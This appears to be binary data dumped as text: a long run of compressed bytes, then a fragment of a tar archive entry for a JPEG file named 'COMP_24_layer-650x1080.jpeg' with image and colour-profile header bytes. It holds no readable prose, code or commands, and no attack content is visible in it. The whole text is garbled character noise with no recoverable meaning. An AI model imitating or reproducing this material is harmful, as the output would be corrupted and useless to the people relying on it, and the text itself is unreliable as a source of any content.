ZoCkc@輻V'Ǒۣ${x?f9p.ќlarOtBK!it2u)qM qR&VywRVc]h 8`WFW+[&MԾ6haz01CT"x`Uy͌P@xJpRŞ׺ZA -H! .L;RP@Q ћAFtJ%.ԄACJ42Z,Rv-;vO&yUd!%#i M  ) %#4EKXIw))K];-&v )d^ESsx;GrLGEcif*lG%7.:FKIJ܀Z征Z_悲]XǚM'sEÅޑN[)#4v6NR(uX!Cч{cH!EhQ3|NBi^)Th\}JsLZ#0iu"iu"\WRHQ!l4^AW f;l8yzP^]t!%l.DZLeD!szpsM˃.M*6~Q7Nk;ʐJcLV@DtUS2B͊yY2㻧™Njx쑄ZŒBVT-4S!)")$@FֿW3o!yĽt =:F",f cܑFhX:(ݔxtE@p鵵k+6l7gƟZWKa,Ǹ^}]؎{HE ]hPmhF;ZBUjʼnqZ-;^7rgdy굄uf2n>kMx9_菉q3N*ʽ dpN Ao C(u߲)hg Q!">&\-&&hq@K&'RvDR@A)NblDb쒓ňT !9 $n#!耠JT)WdQ+>a(4ciO'{i&f=e>[2;>:C6`7H+OE\6G{N>Lyg9 *I7ҒXQqcK'xzxs,Y]$nh'*I\MP'+qKERLI) +Ӟ[I[*kSZQu=lƚ:# •adQ}T(QtDŮJ(:'ܮp4MԧJg$t֊ʱ2K@lو!c(t| w[&Nݠz M~MtT|?>ADKABv肢d*a㽀ݩ;\l+:+e&~Tq+&UmܶFf7cǎ4YO fz =,kP4ZsF|EGQ:Z)$$ycI?twK9.g;̦;pWr,Gmi a݅iUE& “-e-ZWZJI!&Ի wDZq6EK@o Z+iNhRn㘀ZBeˑ@6[|B[I*# -*I hCI1m&- NR2Z n|(BѡQT(ܑh k-PjдaY=HnJ=-ZS 6jeϒG+6JZIǒQ$7/u'KѲ ޭ{*+Q%j2ٲÐK}m QQ)EmFRf]T v!%';$@I)9Vh@ғoT1Y!jm +{ 3NVXUe; AJ.Οn26BM#kBe3܃99:aLAS yerk&ѧzp^I \|7R3%XYNܩCD0()8]*ݲ2C&| *F:C$ΖBtqF.ܠ[r!*dnwP:&I \6+ ?)sxMe:hBn1x条JVWY`&+9<3#vOu c ?=vWU2%w\5يQp?~>V~0A.P8k|ED9YG5U猙w$Q湿WDs,3T #N\@~U^K^艵g50W8 9rc&j@(+9Z]Tj! ځP$:@PBm((!!%ӚZ@`!gTSL $ҽXU1ǹ`lbY:@/aW&VJ#O8hetT|v՘y!1L.zJcOBihq] IFw^ϥݸ՞{3D. fQfM>e6{HhW1$J XAD.tj,9I6PWvrBRCm tb`.F8]To= c#'kr(i!xiW#EGSS=DrR^tefL~.ˎ^Pʼnc c4#ҩz]3U H!2E >4]A!WS;=C!U63`p7d04݁Jc=$,Z w(cp)\+f8mh?sRnԧ2]3dhC+\@C$UCa'$Ne6I4\]+g(Ro=FBTɒ6ACbф,"yWwd5X4++xN'`x)@qF `#uwiZGlфQf 7ŤPsL xֱʌ%5v*ȵ6Rxg?f &uIJ3sX{YwT߰RR0z*ӲxA\ RrB`0XK  q#Ԝ|d Bb6<خ-1e$؇bBqYnnL $G+ йGWYO=Q:_x\ΙP\/ eai,vz vo<ݲ8BguiFnV#~4k ů?ϑU- F =ֲ5U.νK3q>x&g\b?j(qFu$8D)W">IXMP̗4ZyH'z-"z96+ʇyl xm)l.RCoڒb~IHi%#p-.pݔTݭQz$j%.3ФT< KTPݒuSX}Ҽ?3Nj;SmsΡV3<6;&wJ +/DjM„)ȤY$9@^MZCAieqy sx!Em1)o =JGMBLId824H$$%$M&]ӭ<"lcDּKH,PLB|ג՜fWui!ž*.4!\lo=Fֆ"hTC':Adp˦Ugu _*CN(F;5V -sKABa$ [E*K jcz*׹Ǣl$Ug- !zǚ;&=!Sw#PWpg]+"g#Jm\ZZA4~SDRq rt>h6}n@X @ .o%hINPFj^SeǕKkMY.a$>2PU&m^xG:PT~08Wd.? ;cQ0^,DJ4nQUxΕƢy9ȟ{HG AiHvpZQ͟3&5|)I$2jo*vc0dx}-kA%+{)5Eang:XvNc`hP]JMhpRv$w$!I6PPII]HHBvh )ʹ@Ps8&{&D Q786%@ 6Ý6U + ;(+?*t.<*`U+K]HPHIzk_ʸl2 dN:Pㆆu]R T1eQ(yd+C9OuO44#87dڢ{ %Gǘ=)0V$1GTӦI &[ЃG%5 (9srqS61BtѦ;J \Y@48jkrꡫp읏x}H/j$QOu_%i|SGBBAWE{QZ}Sp|,zsR#RJ&>QCZbMR1pT&',juP*1~l̅R,Ù[grʺWHXcR-($&-qoXٲ>SM$r-AQtL_9uu*wa_p] ZF8Y dfpJR5J4LƆ ިv*J EA I\3<*D/$QqV4r UFcxi2V)Rlc@Y)L3!\ګO2ӑ$4\yFo9^A2$Zx wN%kd٪Y˻問Fr#Y=Җ _tCfrקi1u9^e[n̒Y4eԵ79ΥgI˝wc 1B3NrR\Ay&IvCootgnh$\cm H(€)p$P$-NB8NC[PNbII-vߔ "r-IGEIIII؆vЎRlS(kjDG HC$ yWͥحm4pv[a4J6@3M0{oGHE04QhDMu 5Q:W %&2Ұse7yM򅢺8nħrnA!n.)ETX1X7{ƎW4]G.8 s\/C],Zm^9qbP@"ȍ5ܵ0 oMQw|&Dz YX_\:IBX֝X;*QP0Z! GEpaǁ#h䀊F7=$Ml"6RTm4!8߄81,AWrzMGSԭdy0QZyܣ cos]bckS 쐗$i(SC\ksE&HJH4 s)I4(TUY46֛chD,F@{p%+[ R]5j QN4q]1TAen_@ؤՅ\dD,V6QfkM=`w)M9#T}jf0ak-hͨr䱀LqhM򧟒bO< Fś36|mwDda$8 ӺYoekTCy|6%䱣|?JހPR.&v<zEGf%HME{(9ĞTkN^r7ɕqL)WAJSys֞)JƗ&yCdn6uFz,.H:; akTUy]{`)& IܯS4E4INɂiCWv!a0QK(Z0#q&(C2 LI ~|EIPP>ddqJ!%Hz|JҘM$0|#ʛ) B vAJ;I-Z[I S" !ikl"" pLK94ƊjTK必y- 4P7jr(IHlQ`pi~FCMZ.?KvUzf47/Pl9su7h/D 8,%N.R$Þ`h~*0sh[Oc0ݴBFe=Ů)/&M}K4ud[i_OPq3:'<ִ4(ZB#{+DnADvHK KfgٻZlp$ՕŧLo+&G6vUn29x=X˗ 6& ϓ8et(J#gV#e{t|,9؏8q䜧[AdU=7t@d skMo vcˑl:O0{I$CBƸ;OtGd/ؑSN}( Secs!1Pn(R7RB{6)Rdz@NkgFIctb!|I쥤H/mPLJF5'YR*׺@ hqqFCX8MzBBe O*e)P5ijcB62 NHiӺ0k"-4I#\B*+G`ZvMcod-T%-4Tr8k_`\8^:(X<0j33_t==/^!%cE ʇ>.['N=@vjb+=S-bNjZM54I]GoRȐJx3=S͙{#!iRi!iq\=Nvl2[@R͔sJIVfcPӣ|oU&,6bD *n[7zOefq~N-*ݏc!cIR Ύ&F@pZG+>^2pR$Qd[jOJ9Lشv78}:lmUm\'D蝸tRwU705ԛ_KԬ wNl#K֊y DzOUٛmn=2B])m&/uϐ4"ƨ;r zDcA˞e{7St4BtOsO <7;%)މ`bJ*fPQNWEFN[ƻ*;*i2Bh{H*.ž6P\XUF]&D`݀WP1āIE#\8TX*]-nj<'=@ @`5+}'H'D>iu w\EkG021,LCw+9M\p1k,b}]VSjF:B *j G&٠`f8s${cqsGU "39̌N [ A2 o=ߥ%/YO Y(g$'ce1.3cfdeлl7?ס53:пydүv973fl `:rOʐHhsCPtFӽB|@ؚhtQdtR}Tq!Q#]v*GIsi+ 56F2LvRO=JHDYdk)Վ&Bn&Igdnbᱨm=ԀRt-f0nJ<"a;Bz=(;)-i(K;qmFSfE @!JxGUUBNF8l  veކ ~%ZcJѳwy['є[E9#)v8IRxѺ^֟ɌGB@Ğo ;VMn ([ݝtJԬB>SSn@A:]aO+줿_G3j=WTz0tB ML۔L嗀SzNe;V2Gpm:,Rh1[k6GpCȒܖW- WӰmRdCAIk,gUAٜ:tIDt| OJIyܑ*K ̾?En$¸(7{de(آ6:kcw!U M퐋&kE}Д"x Si႐ks4w4n,-I,tm;}gl7M#qPG ײTk7-'iynK4I\NiWg0@UYZlo_dr -V^f ٲdq?1VM~N4$8,w*yHfYEʫ/MtwA5'^B(FR^$<Ǵ%m4ɁN1NqO+=F֙4V 'BGxVQԷE7.&(zPiR]Wd͈쫰rYv򸶹 2[hNy5UiDlmF6K>c|]l>"ҁjLrou h'1Bpo)_FL̲hʈQI@mTGruKAJUn`+ĂvUQx鋋l!MdUEw5)<LKl 霆2̙Z}L)&lPDh!}C"% nƽ̗MK.yS*3=q\xc2^z\dg4*!. [ѯ%G,e#.I^v2A0seXDƀhY' qM8hMs?!ޯl[#n&3^O$}sGN#Um psX]̈́j1 -V^-̷tQh9HsIt_M y[CYLuJbfDygB oSυ3}(ݕ*! ' Ju.cxOK%ג՝iK]xQky'NzPJy蕍\i<ͅu*D184ZfS@pT9 'N[)BR7oiy@W~%~w1g戀KI F:-4iYFrU eSL!etqd)_>tvESBu_cdZ(#nCż{"ODI}rS1S̍Yl,i<'<=ǩ51?GD$=TwFC:r}A qXs#,6{d d7-`JMTkڄ/hWx#;aQ{,$";6B܄Uɤ3 ANg4I,k@wŽ*~f ݢfo*A |a4oh|M〝DT`jṡ ;/v܄[|4ht H:F:NDs #L9&C+6*-@,h~k: J'_Гn0c!/^s^H滧¯5 M p"H1r$bvǪFLOoyF !S@ AOh1D*65됟$<9mftA{|/Ѡr3 KeXYhv ʺ;n 7lo5s!wtka.2i.G ͞Q% \[kgiz}5ߺH%(%G&Z|ȸḐ1A9ǔ;ʋ&fAHjؑGgp功鬣]01dM|=  f=B=F4Q5,ȂRFY0KiF<͋o|A>6py~M7KfB=NwQҫ}ǤI,\u(ˈ!gyJwQ[o Ey{#xѵ|)8/Q>i B<֓-s1lSc\9\͚jO ⨩JcIBkɆCIa$Ẍ՘6hܣhtl_Mz+H|ꓳ~T2m:WdI'="1#G@VS4Qb6y!Sdž]e[߰{>/=n lo@p`BZN)mWZ0(=>-' M\DM3.|_. ]ŎU'.HgO]¨|S-,ZgD &:cnDž/Z~L,q%?ӕ+7DWF~yU\pn6U.6<91w8 \y qYAvC m%Mѧ/r5X"H1<<|yt/yluuȒy+pn9\ !ÑJA?K״'*~I+v JEN{uK=f7o@U&Dqa.V6 ٞKZɒ^ކV{"\@(Z\N}ҭc2♘GPيY#OT&RP)=H]dg!SfE$ ;a{;1-XlF)E\9[4ё %vC QI7{B6E8hkz| R-;pm4Z )cGJgHi0A/U?K @W@eC9 9E"Ь71 xEzE#XH셲bz)dÒ\%Y\oY1(GrRòqI96=n$eUS0׺R3Z&fMpIMs^ 7IsVw#cw;*oi}G 7-V5]Agq$.(ҜsÛD;ex$Tk]8ٔH5]<(L[Դv =s$`hy𮽙vG (Z6`aII;WJIcޗ4y30K?QdL&0:&7,کb:#&CcGZD6W<ְG_~ak4oZn+tK4eٜ.9#/Ə^OWioZs䌩.u4rXak4Dj_KXqeA<H8SOfIDm>.6.D-ňǐ&{68m隈<]:w>#"sK\dp~ʢF̧y-hUjS,B\1t'Y0 g7I( oT2`h&9%V %^Gg>Mh|A⬱!aiUV&щ&:(pbH26ҊgxqӜXnP|D qL+dn2H`0ˋǰrJZ|]ը<+ȰH w|E.TieaS QVjFoȎ݂& qٸ0`阱93j>1ҪZ;{%3O*52]j)uV(ƊAnsR#V ;)!>̮#"h=ԘK$)Z]6(`m= ^18y9h!x8aKM*C#:'0;IW~8zW]D0W i#59\&)ĎvZy~ v6K49!fT [4Z" wp.IBYrC^L[o[&Y?Q%($GR`pkFeM1LŽCU|W &rc,yq=r2>)B?TDk2#kYli#g-SZSqy& ?@hNS@pz*!Bʽ:65ed4P &>lHp}IP3g*]ɫcA a[Cg+Eq6Hi71j˜v'[jzs&D VKdxxV χ}L?E10+7E|EW _R/#c@tm-F,L|9\2|eDIZ4K$&`NM=h䭏]ͻc-4FƪlǸ$JqdV5;pg4rl$\vvv'C1. {֔-G\8+fR7Ovk.љ(T̝MA ΐ{Yf7=-6&s%nNIc8EfKD=$XO0[zRrG7^$o%&t^щI.ۖ}vVG)&gĮLsi趃&-n[.X ]1evYjl7y6 .ypZWIOG3F_ZN4 k2+@ i/ ciS?^Ӵ $˜߉kُ7p .<깥JJ]sXL+QtgCn)ϨQ@U8ܪ3'dS44G44r;yݨ9~S] G*2 -7Y]_>,b]9U#%Z5Ȅإm&*]|A2A( >im,~hitr-z1Ʊ̱1{0 L}z,c Ң';[ș%i*VOS@s2$)۵TZt䞽Rz ?# :9/ MKA)L๛dȜq}Zv3,.;=l{kgBدȐyj:)H&T dQ7lh Q? ڨݕۢUĭ$ [ aCtLw< 'Zh,t!.qY[Pq>[NR@<K "uL,49ZHlA5ޖLsYZGJaʿiE&h_wkH㎋K xf.V08l[xZVHGl[SH;* XB8D\<&G/HqkX cmDS cu[ <;Dь~++G21r@hLA4a3T#ԥq &WQ X/^qK,Ҹ[q]4%i6;1FmC$}N]y+@{q7=/?BзO@5}XSJCe5˜I؁ Uf3R&_삣%7Ҵ˜${ ~:3!GWël4BLh:ӜaFdkq&DɘBKwf#++,e, 'Tw[+ =lV^k1to,9h wTLlΗ+' yxOH 2.&5]5֢9,Pi6UQ1.+9Up&zL^ iHwrc c#m:,R^["?J7GҲBrKu7WXx³zcG8%e2 i .f[ah#lپ=LyϗbTz+ZṮ:&˛@̍J<]+?^~+ INQȺ*&o-M"@Ply7gɑ0kOR.;e.g0q~O e "`〢G}m깸 Ƒn aOe:;--k7>|w9YxuIZ=T `w 8N{1IѢ%4*M_\ˇ u^{joB7;8Ǒ1`=^VP=w/2aŃeQf1LMH͏?}Oxo vF\n)v5?)giHݟuг%쳚&_# 乐7N'ly6id4uuc$`s\ V[ߚ~&Y<E+Encx*Yc ՘rď)DI#*-&ķg3h5]ÊF:OLɲff i=-ift d1Wl M[Y%cn #Ld rI Z-/E+|sI4ccEWIqEɐ5 ?ӇD 1>oT[*@S-#gy{*WH[Z F w*^/xffh]WScr  u:L,}OrD]Ý3| 2 PpeӦB;VLOo.@ZCe;? gH؞A\͇ԫf@qņ ޔz~s3(u7ֻk8Yx#2}=ߒF{B|c1ZSM]2pd"I2ep=-P>We9¬>EErpp29;!S P$ZTDK4rHUF-7eCcy(FԠx+hr'Jd?OƏ'QnK$tx=~]Ou3!~>GR['uhմ=0ecdߧdkCkw1=YxNq;(s3q`$7 gE?M9Vm&^,<4Xǐy.êcLմe1 z6ej`o5TF{Z%nC.#|n9}.==[)E Yz,'L95VQVjQ)2REV^VVRϴ5[q .t)',4h{x%]x.HOj%Jv4G@Gc]Z)A V3oW\ecY|r4Ƀ?%iwQeޡ\vL MsCKࣖ,7Xv4P2kA%o{G)@\8۳}-zF(Dn线~83!`hh.|hPYU$ō? .T M>6Bx-tcyQN*I?=M+ցDʝ gєbN柘ַbsu'X~)uo_h(GØ(tS 9yopy٦s¨Ιy"FI#[.F2D`&~D @Q)>Ѥ"3GQKisϒR6$IZZE>OXhmY2e)NqCZTrk4^8Q?8˨HV<.\MiᔣOoWTdlm@'#Yl}]ߢU`lz@3A!'RI/آrDԘrrb|8%œ}H=UyQ`=dDNEmSh5I\'Ð-Dږ42\$rH@ .K-hq0vˁsU隔Z~C9󃟑]#F͎R02)\iRm7oFHԲaḤpA#}f kKKִ #N-Iӵ8iq%:lvY|pZ>_{ojrtȂS>D `- PII&ed5LIa66]lfֻ&WYq؉UddnO[h5ޫoNabdjM8m ERGL/ᡭxKKVˌ.6=|ă ǘ;!y-{O@xUȚ|C.Co *L<9Crs{ŭwIǞ^uf@s/HG謳2,xo7 rMj]h;*O443~OČ1(Xu aQ睭m~ZAR&'PYdG# dB~ f230Fu'ޏc+iN.Qk(鏒{$ExIt=j>k$v=v?es$l2c QJ"0(óKRj3Xj;[H=~iiߩge@"1.Q3ъetb:C`ot9'fþ:`0+r#x+MgJş nquJSfM&I@:6sos{$*4N@Ao]Ԝxۗip4Ш':h[;g7+{sŤ<<x!xs[sO]nkK]> 'le+ ̏9jGvs)וX 407uz%E 3pWhچK'NTf,F&JbM\Zt;IjSBkw[~ʪIVx5HEX2]ȥ݅GdJMhؤ=WgPGOSh b^cېR_ Cx;1()\f՞msy*y.\cs$ )iqZzҕU7kzFkId(ǖk9q9QVTdۼ΀LҒ>VHIE#ͷ!Gdo\ :e4q敤u ,HU2֒ag=RhX XJ]fk,85Գ7C/ԺrEsޭ|q^==D~FKf,xFg7sZ P<~c5oiwx황uٴS 2HM$|lERg<СѠĖUeiFsv0068aRg?') /mTm=ie4-G^]\|aMW+^NZ(f|Yofb !tf -ygvD6Ck0zŸ2H|ӾB_㈹Z)$N~>v~G/k[%li]A+'(77Kƃ`H#+Epe^qqFr`wI/tsocH$jwP;Kl4aqRtܬ>\j=¤$hʛq_uu$e ?+v;K{hYXl.[\ǰJӺ.ʯ'TCu+0C3$C#uI(,ZiY}N9Ɏd Fl YY;"<ùOe*mi(0|hbYochiU GՁmOuO&&n)|^ZwWZVtBcn]>jC/@e bdZVَʩ8yE찏.laƍCvPg>S,A>)"k8 ҇jv_O+0+ƺo7L2dIhңǛQB[#a%[]C{r2#i4ܖ0 rᥛqB7d5;~YthEʾlp`(H1ozZCs%%,$m|g$״sb9k6@>|c&9_7޾~S2x%>Wdm?DmG4eԇytcJ7?)wI v¦|X^&Ñ;7{ ;)Ԧv. [WM>.˥d -fAh2$oTS#O|e5}XYh("lخ]4c+Vtv1$f/oM͕TrzFTBRk#R4}K7Y:@>9qm5Y.jsRŕɛE6{,޴8S"kTԅ;Ԣg9hjlRS9ĒUw+ª'rPդܷF9hhQ Lyϔ:.5@챑8>Afv.º*"qy8{ty FvTCya *DOU'WHk]\+:續3,- S*+P9ĵT訲yc>]43d4z>RmQr"xE,W*Ѧ<|4A%lTb3<Y|[b7pձ4{vFW4p=a51#@-ũTzd6åj.lmM& Oϙ1avF~FqF߲o<`ɁGCt0ۯ{k?E8-|C%tmyaQ$s6viK%x>켡PiiΔ/ѠYxFQGG==SC%Ɲq`>5MdG-cJ.\}u꾗VsBKEjTCqq2fr [\H!N#ӡ9rXÇMzDIjlk1gSE.Psnز84T&hxNyAuwRA+6lemrc},GicO 䬦 i`"}CJpdes-rU.f.%|AeiFsɸj;AFubr0.ܐtH}.{&7.T# !g hZc#X:KtLVƎa|Ur alP)hp%抅%rcM%e4Y%ͪ_1/U&>diAss2_HR’OM&ZǖQ\]M bE#Ę;%uϴVFC^AXNj\aQ;q(ˎyYn@9Zn`qI l/.&;IOQ<?(fZtHȆ\vOSIrHZzձˈY#NIwAiO3>3o춞 tkHd+ΐdזPh4|شr&7ٞ<'.,v*d kX1y?ZMV3=cV4- 2G*Nolf 3%M3{nZķ= csrd]46Hjcx>Guvː peiÉ.洃gR:NlOeATJ66ǒ?cm[ []𪙟G^[`2H /ih,vF#$nHN.>WaB,2e hcgb {'m:}ԖEh15&6le:iapn٪9 mc֟[N_6?Uw/q!G{[QԱ2!c^/"F;*\=ئ2@ dr67Qyi!n~ zM"Ladyl[*QD/c˶&dyi?+hqLTlk9knWDP: _*Lhx W?.x$/dvLwZn$^|ldG' Zcd0cs=\y|N.{:2]XaclxVz0qkcQ$SXK8V:n+3L1nPwTdE.@t- J0.;${)??ùm90ŌЪL# ' 6H.d7pEsّ!o;%Qc+qϒ64, z@U򥑲G<&qr84 *u-'2Ճfp=斓~)crE_<.Wo8TeX꨼71PqE_t簪'9rSCj;"s$xB]@iKJ F9ȝEׇ &xZcFϲE2I6y'ɞ8Aggs?1y/E[˺&G\yܛ2BQЦ+(lsM!ZB> ;  V 2iI=4趺IDy<+(hT.'6$= %y;l˥T0dȲcc9LMbU=P"seg&y%.q0 ԥcB%':(THXl9)HuX{R{rr( 6<+xYTL(]^u꜈Q=w̆"LIntlGCK T O#9!~_:ޘÝR!4~uH7svf?)ѾOU8e8.0Ǚx|QiҪFĮaeM:W< 1 CM9{%Ѣx:F.DuX;uv%eq>i\V1Iάyb||hvp~K^e&IeG_ sO=UQ \bJ 7cu ?˖@^EjX/w ӡ5j8W!EɌ@N$:0x腧y!6ɪ#(gmuN3`+6-+"diPh|22&Vkp\fH)*I4M1?kg; U;/gѣDxMS<x∘ }Ք)6#dq/^#ݣlX@!i,tD!_# hz~C'GhTV_ %c"KMb ug)9vo*Yy -5)}SyАI s$nz+|L)K^}B'LA ,NXX濒+(57iG zҘCԶg6]MP=B>t؃\څ;, cBi,9!I#pGr\1#Ţ.NI˚ز Y``8wyarBq:f4.Ôt誳 Y\Yh!I5aC#oj'nr-1$krlG*(3ɼZgmȊ*ٵj's:$uY(S5h*?7ȥdlx)l Ul]%eu [ٿ mkДsW)lQ4|h{kԁ$Ok\DP} x 29 M@zƴc3<-ZSZ vz# C7X>n<{v*W<Zz9m,0E(_563\VHqE 9Bl4Tcu\{KDMO03@|s+,|\V@pPu]FƊqq_VDi$0by$_Ug6| # cy*3H|[rpb8yp=6|<(FGƍ,kQ״ӛkHO_2Hr/7[ԭ"{&do)5'TПC OVTSE gELK4zHdȟ)1PqQ"XP$Q;&#ba蝏wUaCa'+h͔<&bN*= +S?Tm#Tᨧ B4:P$ɸU*l>{:Qflt\*̹A&pS3~eϒ(郲dbAu i'B2?1WމȐhh# 9R0M `s)X 9 IaR"HZO(3ekq.6 w/ڭ|-llYu[r;GBɷ\Gt$,=Qqw^y7uq9++4!pQNQtUIH QdVց|5BiԇLTg5 Ppw4?Yxf-zg/6$CfΜ&_TFKt MEv+me~Y#ώC($k[^i;]!ا_$ }l<VixD8Fw )"QDVn;J°cKĀuܜ8Gտ8䨅%e.~video-media/COMP_24_layer-650x1080.jpeg000060400000167466151724237330013075 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt I^NL{=X<5ڪdH4-ȋq$Ý'vTsx/Shkͧc$J%p`^w<4wXM8GġAFFԊAm8o I @RE"h!ܐǕ(b%rD)v)$HEɠ3@o)#-MJS ZKSmFZ"2TPj2Pjbel):zX@ ERp):&(d I:HHj2:HHj",&ڀj@R}HD,!ڌ@T$$)""d[~m@ )@V2@RI$M@Щis)lBc kEAK2: rlU27bcqAn4{K@fHeH/=TJXiQj _7$xSɥ[h+NqnU,J+A OeiZѓmT C\C_z0^rqA$۵̛ ʿ--3.=$|T>A T'I FNM@@[9R BJ oP"mI])1]IPLzNI i+-ALSU1d2 cZE$Ipj)]P& ZErT2)+'*B5Rt&"r,&mH OV",'"`)0t$$')$jtIȒ@$1@ I =&D$ -Uh7g \xU bqTHq*Ι2em+Ba7:q&ַoc :)^K.'iQ' |/CE)pjApu|ۖ.獌s]xyWrDgh,dr(K]+W?#&=і ˑ+#'g@t 2IdI$ǤH IyIE$jIҫ@ 7I*R":E2b'(()'I2Id)$PI'` kE5ZhCUڋj[SjOT@zB$ 1Gt6$Ɋ*ŨRN'@r":HNE;Pbt$$'I2Ia6&I hbNpyZrCY5j|wQD\riݵJܜN,A&b1[i]v;]#[9()[j453S~mp0w9’9:h]Ƣ>W.\gv7HP1߫.tHhbAOVYL$+ȫl]ڬM7yoTYdDÞIu(F.%cʯ,tdDYr(2M? Gnq|/\iq[0}[Kw_ss'-.Ȳ] {c(G'ї2J}>hhj RjE j)(ROVjbRH)H&@GIHS Jb, -Mjm xMjmvG*HLz@I:HJde2)U$"NdզڀDZj@ 2:ɠ$I I921L$)'))6E0I";L t$$5imNR@ THRD4 HHIHJvN48>9; 8cs 03H&V|FcQVtN1OH\)j 1[/ȎW+vZS~8q }\ 4 ɗ_t㔥*]M';fp,a byiUu!_m.lPU)q O ZYRA.D;Uk`Z!-&wCnFxIqV9eqg*8^$7yrxG'4aτhMl` %pθEEQоvRg ${ݭ(e%#gGI8$c!r՚9:KO*2mJ RdUI H ҪMIёa Rv!')!aUim@[mS "(&@ mMmڑj@N$S@ E:E I@Ed(&F%I8@imDzL1 !N Hh*:ƢE4ڧ&Nց4U)*,~Ԫ$5iQij[QmLZ TUI$U:H"I Z(Nt-p`$ܽ}-SVw&.IgzxK9o,6's]`ǚ4>,:־&^[:7 +uS#+.J4lyƃv5aih܋RbA8jVR$@S'I2I@VXM*RDi [%daͰ]ͥcȪѵSÍ}Tt;eX_u`a() Gݘy2BWzS8] ox+[G'o*GOUg+3Wsair۳Icr[H w-|)˪0r`ڕVw M"Um @]}fMۣxǎɄ~{F3JLű*ߕ*f "Iܟ RH &" Zj[R@I:HyDS MV5R($ե4auIMe QHڕRb L[:Ũ6ԋPA22SB HWh NRH2$Ȋj'ږ'ڐj@'Zܢ1B2qGb[PӋÿ l/RiMs܏ǁ(WHy!tdH+̰OYc̣ÊЦw8 $/c1zF)!\qmBZpXNRc )"0$HI =!Fh) mSM}57ۘ=:sZ٣57g*jVqdx\O vLiIh%!H\!Ws>ǕZAW6hLp 6D xhȶG3IuIx .9fqXѺZCBhqqOgDtPk~<@r2^h5iPc 1MǕ(kC0¾Bb K~|gd ΦТfה"5K1D@D@:t"?) `U 5RI(d LQ@ S"LPa1j*I1j*SRE5Rd\&HPQCTo)U"M$[RځJ&O)mDH)Rp-Ԋv*1n'5\" ÚݟEGX..$WZE/\pIPżX_d?n~WAi{E .N֚}*f-0p m6|\m^uRt2@$I1jmdRڝ$%8jڞ$SIA `o ik't3ruvݖefSD }YI ;=6p(aoEdncEIDQqW%l\ADqcc (Z[ER+\+;UDn 5E-DZ&& <|),{'XIrtkXžFuU\~M+P-d FS'D@&.DSUL1UN$/$5R2 ! 2UiiU I:HU)U&D=&DE;S@5ZUIZ}m@ S"L VLZ z@HXGit@hBἥcHwQ[<.JoַJsa{[FkN-qFnp< .J88wWb<Ͽ= 4?sk \PߤV0^*>g.NL(Bo)6Ui!"I H@$$)"I 6II >Ť*+e=Q lQCBMih>ϥɅ-/P/iZƃG'\)Bǖ"^K= t>OwX^S<ҒH˨yQlm$4,͊FE`]&"mFGʜfoUw pFɣT+Cҍ&F(|(3'.Ѕ r+ͺWP *a*用 cl*pn&~JZb("ڕRC@HLS@FS) b b(t!(UNZdXE5RLE RE=Rddզ@ TzPI*9LmD`Զ i8Va/땩:B)D47#& 'HN?G1yuɇrnC}At9ō/=k5Ucl8~J}\{5]VO2V5Z+1Ëkh{tޔXd *8yK`⌍E¼r:yǩ{+ςw_48^ _44|ە20A&6GJI:I'I5Zmd@RUi$$ I8a=')+ *@"UX\-*;j嗍TtQeJ+vZϢĪ(iY֮Ik39M8]S<Ʒ1cpLF"vuٟ5ě*iXivhi;W>̈b;EV4v--(iVYO;fD fQC&K#;qZocjB[ywv<;msX.؁*Alޠ&ښW"@S#)@ = "j SUMT Zj"1jmaS@zB)$*itHi')H I -Vj-2"6c-Y+&,EQ,NL ;M4-q@"4eel1`QD5 ٠f{@[ i%ƜGd?$i^6nBBJ O CaERZ@kkEVe`ѱҾ)ڿcl0b(6=RD o?Z, _j|;R-DI"LPMV*%H1jhMV H-M 5RUiU I9LNS S'"H I"9LH5 X.p]CQo\$ySx\;[؍`.Lamc`Uʴk6*H+Yl*S:P֞TrVn^x`uXm>V:[4dDb V= ,O)[ӏ< i4CIpѥAEʊĨ ^Y y+hYnCwAETVQ96cRj%qZ2I#HMV1=RH("")@ #JFS) j2zbL1EV Z[Q$ 4Z4Qs.1tBkjǔX hhqfG|쵈*rYƏ'aUȳ@9z#Opګ8h@֐yYٙE8M sZ5U)sF+K$ekz聯dwhY.Mi/fFxV%$ɴ=8 ݮ-,|7^BUb4 #jlaMJD_ѵߍ<읅vՄ0mlaũ&&JWK%GeMbGHOG1LHWQE =.;-%ozo*92GZD hf]4BwaHLAR$ICmDi@!|+10EW_ 4ReJҀ^= ҺSE92. [XM-oaq1Nԍ6RΖH@&d͒TeXU^]#HT2' &\9PM2'#(BFeu66.0Z)3pR 9)LUTT)o d\V:e22#E1E"*ɒj,JPh-P( F dUIן61L@SaH@4a5R$X@HڕW E9L1զ-M2"(&M%225Z[S&@ TzS4:V V[V.7#33;h&ԀPU0Md^@(5Y@GaZ>|}.eU'ʢH<Mv<}Wt4ٵjׁtes9X1w?,N*@ .IY 9&!moCc %y1GVXͭ|O(3FvSoF(l,ڌTIsߕ6G7lWHPC:ȝRsU ԓfR$8%rZѶ]N[r;% Z!slvHuP~ꌨ46ZX:\`LIIYA"j`)$HbI$XLS6g vǴNb]؆*Mah8\?L'bc:bO yoKgh$' ‘DF8GiQpE.*gdc:_/Lax ́ʰ8Qڅ 3a<ń7$Qڙ]ip~CIHY9HHjx{#4DN[4p7_d*br8H<*!*.0h(ZxG9!8XCTژ͑jjVSI))%V j:XM-$PLE"oL1CV"a8Z`RH&hU *j)ʉk8 s_ gk=6g5-BOʖ!MIOKh.Ri'ؓ,l7V; +txZY=+8#`a1 yEWp)v6 JJvO {,q=sm0b9 \1NCk57J.%? 54ao+ Xkćҿc+~6V HHgHEQaIIUIԶ ږ])\Bʷ4,Ѥ&3Oe_1j7f\4vbJ;GC3]W"^_qT@Rg^Hҏ^{G\dfeJŅIEldc5p-6Q-yY3G-QH p#ӻZ0䞊˅TP8ZQj-U+@f*wcQ Q'ExQ 8 fGHGJ׆)Bg˜*xqjb)y_X|ZE$X@E$XF$BF%VI$2b M ov SmM RduI Vv *D[L$!dE2jڊ6jsNʨE+ZyʙtkEM DSk;>%Rs)R|7L-f_*Rpox5kZ8ce/hOF8a4[UJҳFfk`u \.y]N lf)wn!eS:f,/l8tAknE`ͨtGaN粖@h$W,mkGԌL.w;0b?*c+fPF(+7sTŸ-[9';zD NI$1L$5imNA#\$\v U0J46EPe$My-<9CYAYœcY76҃ۛjeR;V+Lvy@+[1d Cu֜ !$U!ҲX@\2ڒ&FX6}I 'o VUW?eC Y")xS@ jj!zee (P,rEHU 